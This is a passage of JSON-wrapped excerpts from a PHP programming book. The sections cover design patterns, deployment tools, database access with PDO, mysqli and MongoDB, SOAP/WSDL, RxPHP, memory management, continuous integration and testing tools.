classes. The logNext() method is the key ingredient as it moves the objects down the chain. We then created three concrete implementations of the Logger class: SystemLogger , ElasticLogger , and MailLogger . We then instantiated one of the concrete logger classes and passed the other two instances down the chain using the logNext() method. Finally, we called the push() method to trigger the chain. Automating the deployment Automating the deployment Deploying a PHP application primarily implies deploying PHP code. Since PHP is an interpreted and not compiled language, the PHP applications deploy their code as-is, in source files. This means that there is no real build process involved when deploying an application, which further means that application deployment can be as easy as doing a git pull within a server web directory. Surely, things are never that simple, as we often have various other bits that need to fit in place when the code is deployed, such as databases, mounted drives, shared files, permissions, other services connected to our server, and so on. We can easily imagine the complexity of having to manually deploy code from a single git repository onto dozens of web servers behind some load balancer at the same time. Such manual deployments will surely have negative implications, as we end up with a time in-between overall deployments, where one server might have newer versions of an application code, while others still serve the old application. The lack of consistency is, therefore, just a one of the impacting challenges to worry about. Luckily, there are a dozen of tools that address the challenges of automated deployments. While we won't be getting into the ins and outs of any of them specifically, for the sake of a quick comparison, let's just mention the following two: Deployer : This is an open source PHP-based tool suited for automating deployments, available at https://deployer.org AWS CodeDeploy : This is a code deployment service offered by AWS, available at https://aws.amazon.com/codedeploy/ Unlike AWS CodeDeploy, the Deployer tool is service-independent. That is, we can use it to deploy code to any server upon which we have control, including the AWS EC2 instances. The AWS CodeDeploy, on the other hand, is a service tightly integrated into an AWS itself, meaning we cannot use it outside of the AWS. This does not mean Deployer is better than AWS CodeDeploy in this case. It simply goes to show that some cloud and PaaS services offer their own integrated solutions to automated deployments. Moving forward, let's take a quick look at how easily we can set Deployer to deploy code to our server machine."},
    {"text": "Updating Updating Much like selecting and inserting, updating involves the same set of PDO methods wrapped around the UPDATE SQL statement: <?php try { $conn = new PDO( \"mysql:host=127.0.0.1;dbname=sakila\" , 'root' , 'mL08e!Tq' , [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); $statement = $conn ->prepare( 'UPDATE address SET phone = :phone WHERE address_id = :address_id' ); $statement ->execute([ ':phone' => '888777666555' , ':address_id' => 600 , ]); } catch (PDOException $e ) { echo $e ->getMessage(), PHP_EOL ; } Creating WSDL file Creating WSDL file However, before we move onto the client, let's take a quick look at WSDL. The @soap tag used on the ServiceProxy class methods has nothing to do with the functioning of SoapServer as it is now. We used it merely because of the php2wsdl library that enables us to auto-generate a WSDL file based on the provided class. The php2wsdl library is provided as a composer package, which means we can install it by simply running the following command within the soap-service/server directory: composer require php2wsdl/php2wsdl Once installed, we can create the soap-service\\server\\wsdl-auto-gen.php file with the following content: <?php require_once __DIR__ . '/vendor/autoload.php' ; require_once __DIR__ . '/ServiceProxy.php' ; $class = 'ServiceProxy' ; $serviceURI = 'http://soap-service.server/index.php' ; $wsdlGenerator = new PHP2WSDL\\PHPClass2WSDL( $class , $serviceURI ); $wsdlGenerator ->generateWSDL( true ); file_put_contents ( __DIR__ . '/wsdl.xml' , $wsdlGenerator ->dump()); Once we execute wsdl-auto-gen.php , either in the console or in the browser, it will generate the soap-service/server/wsdl.xml file with the following content: <? xml version =\"1.0\" ?> < definitions xmlns =\"http://schemas.xmlsoap.org/wsdl/\" xmlns: tns =\"http://soap-service.server/index.php\" xmlns:soap =\"http://schemas.xmlsoap.org/wsdl/soap/\" xmlns: xsd =\"http://www.w3.org/2001/XMLSchema\" xmlns:soap-enc =\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:wsdl =\"http://schemas.xmlsoap.org/wsdl/\" name =\"ServiceProxy\" targetNamespace =\"http://soap-service.server/index.php\" > < types > < xsd:schema targetNamespace =\"http://soap-service.server/index.php\" > < xsd:import namespace =\"http://schemas.xmlsoap.org/soap/encoding/\" /> </ xsd:schema > </ types > < portType name =\"ServiceProxyPort\" > < operation name =\"customerWelcome\" > < documentation > Says \"Welcome customer...\" </ documentation > < input message =\"tns:customerWelcomeIn\" /> < output message =\"tns:customerWelcomeOut\" /> </ operation > < operation name =\"userWelcome\" > < documentation > Says \"Welcome user...\" </ documentation > < input message =\"tns:userWelcomeIn\" /> < output message =\"tns:userWelcomeOut\" /> </ operation > </ portType > < binding name =\"ServiceProxyBinding\" type =\"tns:ServiceProxyPort\" > < soap :binding style =\"rpc\" transport =\"http://schemas.xmlsoap.org/soap/http\" /> < operation name =\"customerWelcome\" > < soap :operation soapAction =\"http://soap-service.server/index.php#customerWelcome\" /> < input > < soap :body use =\"encoded\" encodingStyle =\"http://schemas.xmlsoap.org/soap/encoding/\" namespace =\"http://soap-service.server/index.php\" /> </ input > < output > < soap :body use =\"encoded\" encodingStyle =\"http://schemas.xmlsoap.org/soap/encoding/\" namespace =\"http://soap-service.server/index.php\" /> </ output > </ operation > < operation name =\"userWelcome\" > < soap :operation soapAction =\"http://soap-service.server/index.php#userWelcome\" /> < input > < soap :body use =\"encoded\" encodingStyle =\"http://schemas.xmlsoap.org/soap/encoding/\" namespace =\"http://soap-service.server/index.php\" /> </ input > < output > < soap :body use =\"encoded\" encodingStyle =\"http://schemas.xmlsoap.org/soap/encoding/\" namespace =\"http://soap-service.server/index.php\" /> </ output > </ operation > </ binding > < service name =\"ServiceProxyService\" > < port name =\"ServiceProxyPort\" binding =\"tns:ServiceProxyBinding\" > < soap :address location =\"http://soap-service.server/index.php\" /> </ port > </ service > < message name =\"customerWelcomeIn\" > < part name =\"name\" type =\"xsd:anyType\" /> </ message > < message name =\"customerWelcomeOut\" > < part name =\"return\" type =\"xsd:string\" /> </ message > < message name =\"userWelcomeIn\" > < part name =\"name\" type =\"xsd:anyType\" /> </ message > < message name =\"userWelcomeOut\" > < part name =\"return\" type =\"xsd:string\" /> </ message > </ definitions > This is quite a long file to write manually. The benefit of it is that various third-party tools and other language libraries can easily consume our service once we set the WSDL file. As an example, this is a screenshot of the Wizdler extension for the Chrome browser, interpreting the WSDL file content: With WSDL in place, we can now easily modify the soap-service/server/index.php file as follows: // NON-WSDL MODE: $server = new SoapServer(null, $options); // WSDL MODE: $server = new SoapServer('http://soap-service.server/wsdl.xml'); $server = new SoapServer( 'http://soap-service.server/wsdl.xml' ); Now that we have the SOAP server bits sorted out, let's create a client."},
    {"text": "Updating Updating Updating existing data is a nearly identical process as writing new data. The obvious difference being the use of the update() method on the MongoDBDriverBulkWrite instance: <?php require_once __DIR__ . '/vendor/autoload.php' ; try { $manager = new MongoDBDriverManager( 'mongodb://localhost:27017' ); $bulkWrite = new MongoDBDriverBulkWrite; $bulkWrite ->update( [ 'name' => 'iPhone 7 Black White' ], [ '$set' => [ 'name' => 'iPhone 7 Black Black' , 'price' => 649.99 ]], [ 'multi' => true , 'upsert' => false ] ); $bulkWrite ->update( [ 'name' => 'Samsung Galaxy S7 White' ], [ '$set' => [ 'name' => 'Samsung Galaxy S7 Black' , 'price' => 669.99 ]], [ 'multi' => true , 'upsert' => false ] ); $writeConcern = new MongoDBDriverWriteConcern(MongoDBDriverWriteConcern:: MAJORITY , 1000 ); $result = $manager ->executeBulkWrite( 'foggyline.products' , $bulkWrite , $writeConcern ); if ( $result ->getModifiedCount()) { echo 'Record(s) saved updated.' , PHP_EOL ; } else { echo 'Error occurred.' , PHP_EOL ; } } catch (MongoDBDriverExceptionException $e ) { echo $e ->getMessage(), PHP_EOL ; exit ; } The update() method accepts three different parameters: filter, a new object, and update options. The multi option passed unde r update options, tells if all documents' matching criteria will be updated. The upsert option passed under update options, controls the creation of a new record if the existing record is not found. The resulting change can be observed through the mongo shell:"},
    {"text": "Observable and observer Observable and observer In our introduction example, we touched upon the observer pattern using \\SplSubject and \\SplObserver . Now, we are introducing an RxPHP observable and observer component. We might say that \\SplSubject is analogous to Rx\\Observable , whereas \\SplObserver is analogous to Rx\\Observer\\CallbackObserver . The whole SPL and Rx, however, are only superficially analogous. Rx\\Observable is more powerful than \\SplObserver . We can think of Rx\\Observable as a lazy source of event, a thing that produces value over time. Observables emit the following three types of events to their observers: The current item in the stream The error, if one occurred The complete state In a nutshell, it is a reactive data source that knows how to signal internal data changes. Let's take a look at the following simple example: <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\Rx\\Observable; use \\Rx\\Observer\\CallbackObserver; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); $users = Observable:: fromArray ([ 'John' , 'Mariya' , 'Marc' , 'Lucy' ]); $logger = new CallbackObserver( function ( $user ) { echo 'Logging: ' , $user , PHP_EOL ; }, function (\\Throwable $t ) { echo $t ->getMessage(), PHP_EOL ; }, function () { echo 'Stream complete!' , PHP_EOL ; } ); $users ->subscribe( $logger ); $loop ->run(); The output of which is as : Logging: John Logging: Mariya Logging: Marc Logging: Lucy Stream complete! We see that the subscribe() method of the Observable instance accepts an instance of CallbackObserver . Each of the three parameters of an observer is a callback function. The first callback handles the stream item, the second returns potential error, and the third indicates a completed stream. RxPHP provides few a type of observables: AnonymousObservable ArrayObservable ConnectableObservable EmptyObservable ErrorObservable ForkJoinObservable GroupedObservable IntervalObservable IteratorObservable MulticastObservable NeverObservable RangeObservable RefCountObservable ReturnObservable TimerObservable Let's take a look at a more elaborate example of observable and observer: <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\Rx\\Observable; use \\Rx\\Observer\\CallbackObserver; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); // Generator function, reads CSV file function users( $file ) { $users = fopen ( $file , 'r' ); while (! feof ( $users )) { yield fgetcsv ( $users )[ 0 ]; } fclose ( $users ); } // The RxPHP Observer $logger = new CallbackObserver( function ( $user ) { echo $user , PHP_EOL ; }, function (\\Throwable $t ) { echo $t ->getMessage(), PHP_EOL ; }, function () { echo 'stream complete!' , PHP_EOL ; } ); // Dummy map callback function $mapper = function ( $value ) { return time () . ' | ' . $value ; }; // Dummy filter callback function $filter = function ( $value ) { return strstr ( $value , 'Ma' ); }; // Generator function $users = users( __DIR__ . '/users.csv' ); // The RxPHP Observable - from generator Observable:: fromIterator ( $users ) ->map( $mapper ) ->filter( $filter ) ->subscribe( $logger ); $loop ->run(); We started off by creating a simple generator function called users() . The great thing about generators is that they act as iterator, which makes it easy to create RxPHP observables from them using the fromIterator() method. Once we have the observable, we can chain few of its methods, such as map() and filter() , together. This way, we control the data stream hitting our subscribed observer. Assume the users.csv file with following content: \"John\" \"Mariya\" \"Marc\" \"Lucy\" The output of the preceding code should be something like this: 1487439356 | Mariya 1487439356 | Marc stream complete! Now, let's assume that we want to attach multiple observers to our $users stream: $mailer = new CallbackObserver( function ($user) { echo 'Mailer: ', $user, PHP_EOL; }, function (\\Throwable $t) { echo 'Mailer: ', $t->getMessage(), PHP_EOL; }, function () { echo 'Mailer stream complete!', PHP_EOL; } ); $logger = new CallbackObserver( function ($user) { echo 'Logger: ', $user, PHP_EOL; }, function (\\Throwable $t) { echo 'Logger: ', $t->getMessage(), PHP_EOL; }, function () { echo 'Logger stream complete!', PHP_EOL; } ); $users = Observable::fromIterator(users(__DIR__ . '/users.csv')); $users->subscribe($mailer); $users->subscribe($logger); This won't work. The code won't throw any error, but the result might not be what we would expect it to be: Mailer: John Logger: Mariya Mailer: Marc Logger: Lucy Mailer: Logger: Mailer stream complete! Logger stream complete! We cannot really attach multiple subscribers this way. The first attached observer consumes the stream, which is why the second observer sees it empty. This is where the Rx\\Subject\\Subject component may come in handy."},
    {"text": "Selecting Selecting Fetching data with MongoDB comes down to working with three different classes, MongoDBDriverManager , MongoDBDriverQuery , and MongoDBDriverReadPreference : <?php require_once __DIR__ . '/vendor/autoload.php' ; try { $manager = new MongoDBDriverManager( 'mongodb://localhost:27017' ); /* Select only the matching documents */ $filter = [ 'price' => [ '$gte' => 619.99 , ], ]; $queryOptions = [ /* Return only the following fields in the matching documents */ 'projection' => [ 'name' => 1 , 'price' => 1 , ], /* Return the documents in descending order of price */ 'sort' => [ 'price' => - 1 ] ]; $query = new MongoDBDriverQuery( $filter , $queryOptions ); $readPreference = new MongoDBDriverReadPreference(MongoDBDriverReadPreference:: RP_PRIMARY ); $products = $manager ->executeQuery( 'foggyline.products' , $query , $readPreference ); foreach ( $products as $product ) { echo $product -> name , ': ' , $product -> price , PHP_EOL ; } } catch (MongoDBDriverExceptionException $e ) { echo $e ->getMessage(), PHP_EOL ; exit ; } This gives the following output: The list of query operators we can pass onto $filter is quite an extensive one, but the following comparison operators may be the most interesting ones: $eq : These match all values that are equal to a specified value $gt : These match all values that are greater than a specified value $gte : These match all values that are greater than or equal to a specified value $lt : These match all values that are less than a specified value $lte : These match all values that are less than or equal to a specified value $ne : These match all values that are not equal to a specified value $in : These match all values that are specified in an array $nin : These match the none values that are specified in an array Check out ttps://docs.mongodb.com/manual/reference/operator/query/ for a full list of MongoDB query and projection operators. The list of query options we can pass onto $queryOptions is equally impressive, but the following options may be the essential ones: collation : These allow specifying language-specific rules for string comparison limit : These allow specifying the maximum number of documents to return maxTimeMS : These set the processing operations time limit in milliseconds projection : These allow specifying which fields to include in the returned documents sort : These allow specifying sort ordering of the results Check out http://php.net/manual/en/mongodb-driver-query.construct.php for a full list of the MongoDBDriverQuery query options."},
    {"text": "Structural patterns Structural patterns In this section, we will take a look at a structural pattern: the decorator pattern. Resolving Dependencies Resolving Dependencies Writing a loosely coupled code has become an essential skill for any professional developer. While legacy applications had a tendency to pack it all up, thus ending in one big solid block of code, modern applications take a more gradient approach as they largely rely on third-party libraries and other components. Nowadays, hardly anyone builds their own mailer, logger, router, template engine, and so on. Great deal of these components are out there, waiting to be consumed by our application through Composer. As individual components themselves are tested and maintained by various community or commercial entities, the cost of maintaining our application is significantly reduced. The overall code quality itself improves as an indirect consequence of more specialized developers addressing specific functionalities that otherwise might fall out of the area of our expertise. Harmony that has been made possible via loosely coupled code. There are a multitude of positive side-effects of loosely coupled code, some of which include the following: Easier refactoring Improved code maintainability Easier cross-platform utilization Easier cross-framework utilization Aspiration towards a single responsibility principle compliance Easier testing This magic of loose coupling is easily achieved by utilizing various language features, such as interfaces, and design patterns, such as dependency injection. Moving forward, we will take a look at the basic aspects of dependency injection through the following sections: Mitigating the common problem Understanding dependency injection Understanding dependency injection container Error handling Error handling The phpredis driver extension throws RedisException for every error that occurs using the Redis class. This makes it easy to handle errors via simple try...catch blocks: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); // Code... } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; } The Console component The Console component A number of popular PHP frameworks and platforms utilize some sort of console application in order to assist with development, deployment, and maintenance of our projects. The Symfony framework, for example, comes with its own console application empowered with dozens of nifty commands. These can be accessed by executing the php bin/console command within the root directory of a Symfony project: Each of the listed commands executes a very specific purpose; therefore, assisting our project in various ways. While the Symfony framework installation and overall details are out of the scope of this book, there is a component within it that we are interested in. The Console component, while part of the Symfony framework, can also be used as a standalone component to build these types of console applications. Transactions Transactions While the SELECT , INSERT , UPDATE , and DELETE methods allow us to manipulate data in a step-by-step manner, the real strength of MySQL lies in transactions. Using the begin_transaction() , commit() , commit() , and rollback() methods of an mysqli instance, we are able to control the transaction features of MySQL: <?php mysqli_report ( MYSQLI_REPORT_ALL ); $mysqli = new mysqli( '127.0.0.1' , 'root' , 'mL08e!Tq' , 'sakila' ); try { // Start new transaction $mysqli ->begin_transaction( MYSQLI_TRANS_START_READ_WRITE ); // Create new address $result = $mysqli ->query( 'INSERT INTO address ( address, district, city_id, postal_code, phone ) VALUES ( \"The street\", \"The district\", 333, \"31000\", \"123456789\" ); ' ); // Fetch newly created address id $addressId = $mysqli -> insert_id ; // Create new customer $statement = $mysqli ->prepare( 'INSERT INTO customer ( store_id, first_name, last_name, email, address_id ) VALUES ( 2, \"John\", \"Doe\", \"john@test.it\", ? ) ' ); $statement ->bind_param( 'i' , $addressId ); $statement ->execute(); // Fetch newly created customer id $customerId = $mysqli -> insert_id ; // Select newly created customer info $statement = $mysqli ->prepare( 'SELECT * FROM customer WHERE customer_id = ?' ); $statement ->bind_param( 'i' , $customerId ); $statement ->execute(); $result = $statement ->get_result(); $customer = $result ->fetch_object(); // Commit transaction $mysqli ->commit(); echo $customer -> first_name , ' ' , $customer -> last_name , PHP_EOL ; } catch (mysqli_sql_exception $t ) { // We MUST be careful with non-db try block operations that throw exceptions // As they might cause a rollback inadvertently $mysqli ->rollback(); echo $t ->getMessage(), PHP_EOL ; } // Close database connection $mysqli ->close(); The valid transaction flags are as follows: MYSQLI_TRANS_START_READ_ONLY : This matches the MySQL START TRANSACTION READ ONLY query MYSQLI_TRANS_START_READ_WRITE : This matches the MySQL START TRANSACTION READ WRITE query MYSQLI_TRANS_START_WITH_CONSISTENT_SNAPSHOT : This matches the MySQL START TRANSACTION WITH CONSISTENT SNAPSHOT query Check out https://dev.mysql.com/doc/refman/5.7/en/commit.html for more information about the MySQL transaction syntax and meaning. Piracy Piracy Piracy of copyrighted material on the Internet is an ongoing problem across all media. At Packt, we take the protection of our copyright and licenses very seriously. If you come across any illegal copies of our works in any form on the Internet, please provide us with the location address or website name immediately so that we can pursue a remedy. Please contact us at copyright@packtpub.com with a link to the suspected pirated material. We appreciate your help in protecting our authors and our ability to bring you valuable content."},
    {"text": "Virtual private server Virtual private server The virtual private server ( VPS ) is a virtual machine provided by the hosting provider. This machine then runs its own operating system to which we often have a full super-user access. The VPS itself shares the same set of physical hardware resources as other VPS machines. This means that our VPS performance can easily be impaired by other VPS machines' processes. The popular PCMag magazine ( http://www.pcmag.com ) shares the list of the best VPS web hosting services of 2017 as follows: HostGator Web Hosting : http://www.hostgator.com InMotion Web Hosting : https://www.inmotionhosting.com/ 1&1 Web Hosting : https://www.1and1.com DreamHost Web Hosting : https://www.dreamhost.com Hostwinds Web Hosting : https://www.hostwinds.com Liquid Web Hosting : https://www.liquidweb.com GoDaddy Web Hosting : https://www.godaddy.com Bluehost Web Hosting : https://www.bluehost.com Media Temple Web Hosting : https://mediatemple.net There are quite a few variations between these hosting services, mostly in terms of memory and storage, as you can see in the following screenshot: While VPS is still a form of shared resources, it allows us a much greater degree of freedom than conventional shared hosting. Having full super-user access to the machine means we can install pretty much any piece of software we want to. This also means a greater degree of responsibility for us."},
    {"text": "Memory management Memory management Quite often, PHP developers need to deal with a large amount of data. Whi le large is a relative term, memory is not. Certain combinations of functions and language constructs, when used irresponsibly, can clog our server memory in a matter of seconds. Probably the most notorious function is file_get_contents() . This easy-to-use function literally grabs the content of an entire file and puts it into memory. To better understand the issue, let's take a look at the following example: <?php $content = file_get_contents('users.csv'); $lines = explode(\"\\r\\n\", $content); foreach ($lines as $line) { $user = str_getcsv($line); // Do something with data from $user... } While this code is perfectly valid and working, it is a potential performance bottleneck. The $content variable will pull the content of the entire users.csv file into memory. While this could work for a small file size, of let's say a couple of megabytes, the code is not performance optimized. Th e moment users.csv starts to grow, we will begin experiencing memory issues. What can we do to mitigate the issue? We can rethink our approach to solving a problem. The moment we shift our mind into the must optimize performance mode, other solutions become clear. Instead of reading the content of an entire file into the variable, we can parse the file line by : <?php if (($users = fopen('users.csv', 'r')) !== false) { while (($user = fgetcsv($users)) !== false) { // Do something with data from $user... } fclose($users); } Instead of using file_get_contents() and str_getcsv() , we focus onto using another set of functions, fopen() and fgetcsv() . The end result is absolutely the same, with the added benefit of being fully performance friendly. Using functions with handles, in this specific case, we have effectively assured that memory limitations are not an issue for our script. The irresponsible use of loops is anoth er common cause of memory : <?php $conn = new PDO( 'mysql:host=localhost;dbname=eelgar_live_magento' , 'root' , 'mysql' ); $stmt = $conn ->query( 'SELECT * FROM customer_entity' ); $users = $stmt ->fetchAll(); foreach ( $users as $user ) { if ( strstr ( $user [ 'email' ], 'test' )) { // $user['entity_id'] // $user['email'] // Do something with data from $user... } } Now, let's go ahead and see a modified, memory-friendly example with the same effect: <?php $conn = new PDO('mysql:host=localhost;dbname=eelgar_live_magento', 'root', 'mysql'); $stmt = $conn->prepare('SELECT entity_id, email FROM customer_entity WHERE email LIKE :email'); $stmt->bindValue(':email', '%test%'); $stmt->execute(); while ($user = $stmt->fetch(PDO::FETCH_ASSOC)) { // $user['entity_id'] // $user['email'] // Do something with data from $user... } The fetchAll() method is slightly faster than fetch() , but it requires more memory. When PHP hits the memory limit, it stops the script execution and throws the following error: Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2348617 bytes) ... Luckily, the memory_limit directive enables us to control the amount of memory available. The default memory_limit value is 128M , which implies 128 megabytes of memory. The directive is PHP_INI_ALL changeable, which means that apart from setting it via the php.ini file, we can set it at runtime using ini_set('memory_limit', '512M'); . Aside from tuning the memory_limit directive, PHP provides the following two functions that return memory usage information: memory_get_usage() : This returns the amount of memory currently allocated by our PHP script memory_get_peak_usage() : This r eturns the peak amount of memory allocated by our PHP script While we might be tempted to increase this value, we should think twice about doing so. The memory limit is per process, not per server. Web servers themselves can spin up several processes. Using large memory limit values can therefore clog our server. Aside from that, any script that might actually consume a large amount of memory is easily a candidate for performance optimization. Applying simple, thought-through techniques to our code can greatly reduce memory use. When it comes to actual memory management, things are pretty automated here. Unlike C language, where we get to manage memory ourselves, PHP uses garbage collection in combination with a reference counting mechanism. Without going into the ins and outs of the mechanism itself, it is suffice to say that variables are automatically released when they are not being used any more. For more details on garbage collection, check out http://php.net/manual/en/features.gc.php ."},
    {"text": "Jenkins Jenkins Jenkins is an open source, self-contained, cross-platform, ready to run Java-based automation server. There are regularly two versions of Jenkins being released: long term support ( LTS ) and weekly releases. The LTS version gives it a bit of an enterprise-friendly feel, among other things: Out-of-the-box, Jenkins does not really do anything for PHP code specifically, which is where plugins come into the mix. The rich Jenkins plugin system enables us to easily install the plugins to work with the following PHP tools: PHPUnit : This is a unit testing framework that is available at https://phpunit.de/ PHP_CodeSniffer : This is a tool that detects violations against a certain set of coding standards , available at https://github.com/squizlabs/PHP_CodeSniffer PHPLOC : This is a tool to quickly measure the size of a PHP project , which is available at https://github.com/sebastianbergmann/phploc PHP_Depend : This shows the quality of code design in the terms of extensibility, reusability, and maintainability , which is available at https://github.com/pdepend/pdepend PHPMD : This is the PHP mess detector , which is available at https://phpmd.org/ PHPCPD : This is the copy/paste detector for PHP code , which is available at https://github.com/sebastianbergmann/phpcpd phpDox : This is a documentation generator for PHP projects, which is available at http://phpdox.de/ Plugins for these tools affect the automated testing bits that Jenkins is able to continuously run for us. The bits about code deployments are generally language-agnostic. Going into the details of plugin installation and the overall use of Jenkins, it is a topic for a book of its own. The takeaway here is to understand the importance and role of of continuous integration over the application life cycle, as well as to raise awareness of available tools. See https://jenkins.io/doc/ and https://plugins.jenkins.io/ for more information. Selecting Selecting Querying for records with PDO is somewhat similar to querying for records with mysqli . We use raw SQL statements in both cases. The difference lies in the convenience of PHP methods and the subtle differences they provide. The following example demonstrates how we can select records from a MySQL table: <?php try { $conn = new PDO( \"mysql:host=127.0.0.1;dbname=sakila\" , 'root' , 'mL08e!Tq' , [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); $result = $conn ->query( 'SELECT * FROM customer LIMIT 5' ); $customers = $result ->fetchAll(PDO:: FETCH_OBJ ); foreach ( $customers as $customer ) { echo $customer -> first_name , ' ' , $customer -> last_name , PHP_EOL ; } } catch (PDOException $e ) { echo $e ->getMessage(), PHP_EOL ; } This gives the following output: The instance of the PDOStatement and $result object has several different result-fetching methods: fetch() : This fetches the next row from a result set, allows being called repeatedly, and returns a value depending on the fetch style fetchAll() : This fetches all of the result set rows as an array, and returns a value depending on the fetch style fetchObject() : This fetches the next row from a result set as an object, and allows being called repeatedly fetchColumn() : This fetches a single column from the next row of a result set, and allows being called repeatedly The following list shows available PDO fetch styles: PDO::FETCH_LAZY PDO::FETCH_ASSOC PDO::FETCH_NUM PDO::FETCH_BOTH PDO::FETCH_OBJ PDO::FETCH_BOUND PDO::FETCH_COLUMN PDO::FETCH_CLASS PDO::FETCH_INTO PDO::FETCH_FUNC PDO::FETCH_GROUP PDO::FETCH_UNIQUE PDO::FETCH_KEY_PAIR PDO::FETCH_CLASSTYPE PDO::FETCH_SERIALIZE PDO::FETCH_PROPS_LATE PDO::FETCH_NAMED While most of these fetch styles are quite self-explanatory, we can consult http://php.net/manual/en/pdo.constants.php for further details. The following example demonstrates a more elaborate select approach, one with parameter binding in the mix: <?php try { $conn = new PDO( \"mysql:host=127.0.0.1;dbname=sakila\" , 'root' , 'mL08e!Tq' , [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); $statement = $conn ->prepare( 'SELECT * FROM customer WHERE customer_id > :customer_id AND store_id = :store_id AND email LIKE :email' ); $statement ->execute([ ':customer_id' => 100 , ':store_id' => 2 , ':email' => '%ANN%' , ]); $customers = $statement ->fetchAll(PDO:: FETCH_OBJ ); foreach ( $customers as $customer ) { echo $customer -> first_name , ' ' , $customer -> last_name , PHP_EOL ; } } catch (PDOException $e ) { echo $e ->getMessage(), PHP_EOL ; } This gives the following output: The most obvious difference between binding with PDO and binding with mysqli is that PDO allows named parameter binding. This makes for much more readable queries."},
    {"text": "Object comparison Object comparison The PHP language provides several comparison operators that allow us to compare two different values, resulting in either true or false : == : equal === : identical != : not equal <> : not equal !== : not identical < : less than > : greater than <= : less than or equal to >= : greater than or equal to While all of these operators are equally important, let's take a closer look at the behavior of the equal ( == ) and identical ( === ) operators in the context of objects. Let's take a look at the following example: <?php class User { public $name = 'N/A'; public $age = 0; } $user = new User(); $employee = new User(); var_dump($user == $employee); // true var_dump($user === $employee); // false Here, we have a simple User class with two properties set to some default values. We then have two different instances of the same class, $user and $employee . Given that both objects have the same properties, with the same values, the equal ( == ) operator returns true . The identical ( === ) operator, on the other hand, returns false. Even though objects are of the same class, and have the same properties and values in those properties, an identical operator sees them as different. Let's take a look at the following example: <?php class User { public $name = 'N/A'; public $age = 0; } $user = new User(); $employee = $user; var_dump($user == $employee); // true var_dump($user === $employee); // true The identical ( === ) operator considers two objects to be identical only if they refer to the same instance of the same class. The same operator behavior applies to the counterpart operators, that is, the not equal ( <> or != ) and not identical ( !== ) operators. Aside from objects, the identical operator is applicable to any other type: <?php var_dump ( 2 == 2 ); // true var_dump ( 2 == \"2\" ); // true var_dump ( 2 == \"2ABC\" ); // true var_dump ( 2 === 2 ); // true var_dump ( 2 === \"2\" ); // false var_dump ( 2 === \"2ABC\" ); // false Looking at the preceding example clearly reveals the importance of an identical operator. The 2 == \"2ABC\" expression evaluating to true is something that boggles the mind. We might even think of it as a bug in the PHP language itself. While relying on PHP automatic type conversion is mostly fine, there are times where unexpected bugs can squeeze in and disrupt our application logic. The use of the identical operator reaffirms the comparison, assuring that we consider not just the value but the type as well. jMeter jMeter The Apache jMeter is a free and open source application designed for load and performance testing. The functionality of jMeter extends across many different applications, servers, and protocol types. In the context of web applications, we might be tempted to compare it to the browser. However, jMeter works with HTTP and https at a protocol level. It does not render HTML or execute JavaScript. Although jMeter is primarily a GUI application, it can easily be installed and have its tests run in console mode. This makes it a convenient tool of choice for quickly building our tests in GUI mode, and then running them on a server console later on. Assuming that we are using the Ubuntu 16.10 (Yakkety Yak) installation, installing jMeter as a tool is easy, as shown in the following command line: sudo apt-get -y install jmeter However, this might not give us the latest version of jMeter, in which case, we can get one from the official jMeter download page ( http://jmeter.apache.org/download_jmeter.cgi ): wget http://ftp.carnet.hr/misc/apache//jmeter/binaries/apache-jmeter-3.2.tgz tar -xf apache-jmeter-3.2.tgz Using this second method of installation, we will find the jMeter executable at apache-jmeter-3.2/bin/jmeter . Connecting Connecting We can either use the MySQLi functions or classes to interact with MySQL. In the spirit of OOP, we will use the class approach for all of our examples. Using the mysqli class, we can establish a MySQL connection from PHP, as follows: $mysqli = new mysqli('127.0.0.1', 'root', 'mL08e!Tq', 'sakila'); This single line expression will look for MySQL on the 127.0.0.1 host and try to connect to its sakila database using the root username and mL08e!Tq as its password."},
    {"text": "Executing tests Executing tests Running only a phpspec run command at this point will likely fail with something like a class ... does not exist message, because phpspec assumes a PSR-0 mapping by default. To be able to work with the application we have done so far, we need to tell phpspec to include our src/Foggyline/* classes. We can do so either through a phpspec.yml configuration file, or using the --bootstrap option. Since we have already created the autoload.php file, let's go ahead and run phpspec by bootstrapping this file as follows: phpspec run --bootstrap=autoload.php This generates the following output: We have involved these two specs using phpspec describe on the existing class. We could easily pass on the non-existing class name to the same command, as per the following example: phpspec describe Foggyline/Checkout/Model/Guest/Cart The Guest\\Cart class does not really exist in our src/ directory. phpspec has no trouble creating a spec/Foggyline/Checkout/Model/Guest/CartSpec.php specification file, just like it did for Cart and Product . However, running the phpspec describe now raises a class ... does not exist error message, along with the interactive generator, as per the following output: As a result, the src\\Foggyline\\Checkout\\Model\\Guest\\Cart.php file is additionally generated with the following content: <?php namespace Foggyline\\Checkout\\Model\\Guest; class Cart { } While all of these are simple examples, it goes to show that phpspec works both ways: Creating specifications based on existing concrete classes Generating concrete classes based on a specification Running our test now should give us the following output: Now, lets's deliberately fail a test by changing the its_title_should_be_like() method of spec\\Foggyline\\Catalog\\Model\\ProductSpec.php into the following line of code: $this->getTitle()->shouldBeLike('Yellow'); Running the test now should give us the following output: There is much more to be said about phpspec. Things such as Stubs, Mocks, Spies, templates, and extensions further enrich our phpspec testing experience. This section, however, focuses on the basics to get us started. PHPUnit PHPUnit PHPUnit is a representative of unit testing frameworks, whose overall idea is to provide a strict contract over an isolated piece of code that must be satisfied. This piece of code is what we call unit , which translates to the class and its methods in PHP. Using the assertions functionality, the PHPUnit framework verifies that these units behave as expected. The benefit of unit testing is that its early problem detection helps mitigate compound or down-the-line errors that might not be obvious initially. The more possible paths of a program the unit test covers, the better. Uncaught error handler Uncaught error handler While a great deal of Error can now be caught via try...catch , there is also an extra mechanism to handle errors. PHP provides a 